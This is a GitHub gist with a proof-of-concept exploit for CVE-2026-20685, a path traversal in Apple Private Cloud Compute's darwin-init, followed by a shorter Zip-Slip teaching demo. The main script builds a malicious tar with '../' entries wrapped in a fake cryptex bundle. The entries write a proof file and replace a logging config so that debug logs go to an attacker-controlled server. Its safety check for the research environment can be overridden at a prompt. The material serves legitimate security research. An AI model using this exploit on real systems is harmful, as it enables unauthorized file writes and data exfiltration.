Created
August 10, 2026 06:51
-
-
Save HORKimhab/e7ac4ee161e8a39080c5fe6a49a833dd to your computer and use it in GitHub Desktop.
CVE-2026-20685 - Beyond Prompt Injection: Hacking Apple's Private Cloud Compute
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| CVE-2026-20685 PoC - Path Traversal in Apple Private Cloud Compute | |
| For local testing ONLY in Apple Virtual Research Environment | |
| WARNING: This is for authorized security research only. | |
| Use only in Apple's VRE as described in the blog. | |
| """ | |
| import os | |
| import tarfile | |
| import plistlib | |
| import tempfile | |
| import shutil | |
| from pathlib import Path | |
| class PCCExploitBuilder: | |
| def __init__(self, output_dir="."): | |
| self.output_dir = Path(output_dir) | |
| self.output_dir.mkdir(exist_ok=True) | |
| def create_proof_file_content(self): | |
| """Create the proof file content that will be written via traversal""" | |
| return """PATH_TRAVERSAL_CONFIRMED: Written by darwin-init FilePath+Archive.swift:95 | |
| Extraction base: /var/tmp/darwin-init/cryptex/<UUID>/ | |
| Target: /var/db/poc_darwin_init_traversal_proof | |
| Timestamp: VRE_TEST_ONLY | |
| """ | |
| def create_splunk_config(self, attacker_server="http://192.168.64.1:8088"): | |
| """Create a malicious splunkloggingd config to redirect logs""" | |
| config = { | |
| "Server": attacker_server, | |
| "Index": "exfil", | |
| "Predicates": [ | |
| "subsystem == \"com.apple.cloudos.cloudboard\"", | |
| "subsystem == \"com.apple.cloudos\"", | |
| "subsystem == \"com.apple.darwininit\"" | |
| ], | |
| "Level": "Debug" | |
| } | |
| return config | |
| def create_traversal_entries(self, tar, temp_dir): | |
| """ | |
| Create traversal entries that will escape to /var/db/ | |
| The extraction base is /var/tmp/darwin-init/cryptex/<UUID>/ | |
| 4 levels of traversal (../../../../db/) reaches /var/db/ | |
| """ | |
| # Proof file - writes to /var/db/poc_darwin_init_traversal_proof | |
| proof_path = Path(temp_dir) / "proof.txt" | |
| proof_path.write_text(self.create_proof_file_content()) | |
| # Add with traversal prefix | |
| tar.add( | |
| str(proof_path), | |
| arcname="../../../../db/poc_darwin_init_traversal_proof" | |
| ) | |
| # Splunk config - writes to /var/db/prcos/splunkloggingd/config-main.plist | |
| config_path = Path(temp_dir) / "config-main.plist" | |
| with open(config_path, 'wb') as f: | |
| plistlib.dump(self.create_splunk_config(), f) | |
| tar.add( | |
| str(config_path), | |
| arcname="../../../../db/prcos/splunkloggingd/config-main.plist" | |
| ) | |
| def create_valid_cryptex_structure(self, tar, temp_dir): | |
| """ | |
| Create a minimal valid cryptex structure to pass verification | |
| This mimics the genuine cryptex bundle structure that would be | |
| created by Apple's pccvre cryptex create command | |
| """ | |
| cryptex_dir = Path(temp_dir) / "Restore" / "Cryptex" / "POC_DEMO" | |
| cryptex_dir.mkdir(parents=True, exist_ok=True) | |
| # Create minimal files that would exist in a real cryptex | |
| # These are placeholders - in reality, these would be actual cryptex files | |
| files = { | |
| "gdmg": b"\x00" * 14336, # 14KB placeholder | |
| "ginf": b"version: 1.0\n", | |
| "gtcd": b"46", # example ID | |
| "gtgv": b"build: 2026.07.31\n" | |
| } | |
| for filename, content in files.items(): | |
| filepath = cryptex_dir / filename | |
| filepath.write_bytes(content) | |
| tar.add(str(filepath), arcname=f"Restore/Cryptex/POC_DEMO/{filename}") | |
| # Create minimal BuildManifest.plist | |
| manifest = { | |
| "BuildVersion": "1.0", | |
| "CryptexComponents": { | |
| "POC_DEMO": { | |
| "Version": "1.0.0", | |
| "Hash": b"\x00" * 32 # SHA256 placeholder | |
| } | |
| } | |
| } | |
| manifest_path = Path(temp_dir) / "BuildManifest.plist" | |
| with open(manifest_path, 'wb') as f: | |
| plistlib.dump(manifest, f) | |
| tar.add(str(manifest_path), arcname="Restore/BuildManifest.plist") | |
| def build_malicious_cryptex(self, output_filename="malicious_cryptex.tar"): | |
| """Build the complete malicious tar archive""" | |
| output_path = self.output_dir / output_filename | |
| print(f"[*] Building malicious cryptex: {output_path}") | |
| with tempfile.TemporaryDirectory() as temp_dir: | |
| with tarfile.open(output_path, 'w') as tar: | |
| # Add traversal entries | |
| self.create_traversal_entries(tar, temp_dir) | |
| # Add valid cryptex structure | |
| self.create_valid_cryptex_structure(tar, temp_dir) | |
| # Display contents for verification | |
| print("\n[*] Archive contents:") | |
| for member in tar.getmembers(): | |
| indicator = "TRAVERSAL" if member.name.startswith("../") else "BUNDLE" | |
| print(f" {member.name:60} {indicator}") | |
| print(f"\n[+] Successfully created: {output_path}") | |
| return output_path | |
| def create_control_tar(self, output_filename="control_cryptex.tar"): | |
| """Create a clean control tar with no traversal for comparison""" | |
| output_path = self.output_dir / output_filename | |
| with tempfile.TemporaryDirectory() as temp_dir: | |
| with tarfile.open(output_path, 'w') as tar: | |
| # Only add valid cryptex structure, no traversal | |
| self.create_valid_cryptex_structure(tar, temp_dir) | |
| print(f"[+] Control tar created: {output_path}") | |
| return output_path | |
| class VREHelper: | |
| """Helper functions for interacting with the VRE""" | |
| @staticmethod | |
| def start_vre_node(debug=True): | |
| """Start a VRE instance with debugging""" | |
| import subprocess | |
| cmd = [ | |
| "/System/Library/SecurityResearch/usr/bin/pccvre", | |
| "instance", "start", | |
| "--debug" if debug else "", | |
| "-N", "poc_demo" | |
| ] | |
| cmd = [c for c in cmd if c] # Remove empty strings | |
| print("[*] Starting VRE node...") | |
| # In practice, you'd capture the output to get the HTTP server details | |
| # This is a simplified example | |
| process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
| return process | |
| @staticmethod | |
| def verify_exploit(ip="192.168.64.50"): | |
| """Verify the exploit worked by reading the proof file""" | |
| import subprocess | |
| cmd = [ | |
| "ssh", f"root@{ip}", | |
| "echo", '"$(< /var/db/poc_darwin_init_traversal_proof)"' | |
| ] | |
| result = subprocess.run(cmd, capture_output=True, text=True) | |
| if "PATH_TRAVERSAL_CONFIRMED" in result.stdout: | |
| print("[+] EXPLOIT CONFIRMED! Proof file exists.") | |
| print(result.stdout) | |
| return True | |
| else: | |
| print("[-] Exploit not verified.") | |
| return False | |
| def main(): | |
| """Main PoC execution""" | |
| print("=" * 60) | |
| print("CVE-2026-20685 PoC - Path Traversal in Apple PCC") | |
| print("For VRE Testing Only") | |
| print("=" * 60) | |
| # Build the exploit | |
| builder = PCCExploitBuilder() | |
| malicious_tar = builder.build_malicious_cryptex() | |
| control_tar = builder.create_control_tar() | |
| # Verify the archive structure | |
| print("\n[*] Verifying archive structure...") | |
| with tarfile.open(malicious_tar, 'r') as tar: | |
| has_traversal = any(m.name.startswith("../") for m in tar.getmembers()) | |
| has_valid_cryptex = any("Restore/Cryptex" in m.name for m in tar.getmembers()) | |
| print(f" Contains traversal entries: {has_traversal}") | |
| print(f" Contains valid cryptex: {has_valid_cryptex}") | |
| print("\n" + "=" * 60) | |
| print("PoC BUILD COMPLETE") | |
| print("=" * 60) | |
| print("\nNext steps in VRE:") | |
| print("1. Start VRE instance: pccvre instance start --debug -N poc_demo") | |
| print("2. Register the malicious tar as a third cryptex") | |
| print("3. Boot the node and verify /var/db/poc_darwin_init_traversal_proof exists") | |
| print("4. Check splunkloggingd redirection to your endpoint") | |
| print("\nNote: The splunk config will redirect to http://192.168.64.1:8088") | |
| print(" Modify this in PCCExploitBuilder.create_splunk_config() if needed") | |
| if __name__ == "__main__": | |
| # Safety check - prevent accidental execution outside VRE | |
| if not os.path.exists("/System/Library/SecurityResearch/usr/bin/pccvre"): | |
| print("WARNING: Not running in Apple Virtual Research Environment!") | |
| print("This PoC should ONLY be used in the authorized VRE.") | |
| response = input("Continue anyway? (y/N): ") | |
| if response.lower() != 'y': | |
| print("Exiting.") | |
| exit(0) | |
| main() | |
| ### ---- ### | |
| #!/usr/bin/env python3 | |
| """ | |
| Educational Zip-Slip / path-traversal demo. | |
| Creates a malicious tar and extracts it with naïve concatenation | |
| (exactly the pattern that was present in the vulnerable darwin-init code). | |
| Run only in a throw-away directory. | |
| """ | |
| import tarfile | |
| import os | |
| import tempfile | |
| from pathlib import Path | |
| def make_malicious_tar(tar_path: Path): | |
| with tarfile.open(tar_path, "w") as tar: | |
| # Benign file that stays inside the extraction dir | |
| info = tarfile.TarInfo(name="safe.txt") | |
| data = b"I stay inside the extraction directory\n" | |
| info.size = len(data) | |
| tar.addfile(info, fileobj=__import__("io").BytesIO(data)) | |
| # Classic traversal – four “..” to escape a typical /tmp/.../extract base | |
| evil_name = "../../../../tmp/poc_path_traversal_written_by_root" | |
| info = tarfile.TarInfo(name=evil_name) | |
| data = b"PATH_TRAVERSAL_CONFIRMED – written outside the intended directory\n" | |
| info.size = len(data) | |
| # Optional: set mode/uid if you want to mimic root extraction | |
| info.mode = 0o644 | |
| tar.addfile(info, fileobj=__import__("io").BytesIO(data)) | |
| def vulnerable_extract(tar_path: Path, dest: Path): | |
| """Naïve extractor that does what the old darwin-init code effectively did.""" | |
| dest.mkdir(parents=True, exist_ok=True) | |
| with tarfile.open(tar_path, "r") as tar: | |
| for member in tar.getmembers(): | |
| # NO sanitization – this is the bug | |
| target = dest / member.name | |
| if member.isfile(): | |
| target.parent.mkdir(parents=True, exist_ok=True) | |
| with open(target, "wb") as f: | |
| f.write(tar.extractfile(member).read()) | |
| print(f"[written] {target}") | |
| def safe_extract(tar_path: Path, dest: Path): | |
| """Correct way: reject any member that escapes the destination.""" | |
| dest = dest.resolve() | |
| with tarfile.open(tar_path, "r") as tar: | |
| for member in tar.getmembers(): | |
| target = (dest / member.name).resolve() | |
| if not str(target).startswith(str(dest)): | |
| raise Exception(f"Path traversal blocked: {member.name}") | |
| # … then extract only the safe members | |
| if __name__ == "__main__": | |
| work = Path(tempfile.mkdtemp(prefix="zipslip-demo-")) | |
| tar_file = work / "malicious.tar" | |
| extract_dir = work / "extract_here" | |
| print(f"Working directory: {work}") | |
| make_malicious_tar(tar_file) | |
| print("Created malicious tar.") | |
| print("\n--- Vulnerable extraction ---") | |
| vulnerable_extract(tar_file, extract_dir) | |
| print("\n--- Safe extraction (should raise) ---") | |
| try: | |
| safe_extract(tar_file, extract_dir) | |
| except Exception as e: | |
| print("Blocked:", e) | |
| print("\nCheck /tmp for the file written by the traversal entry.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment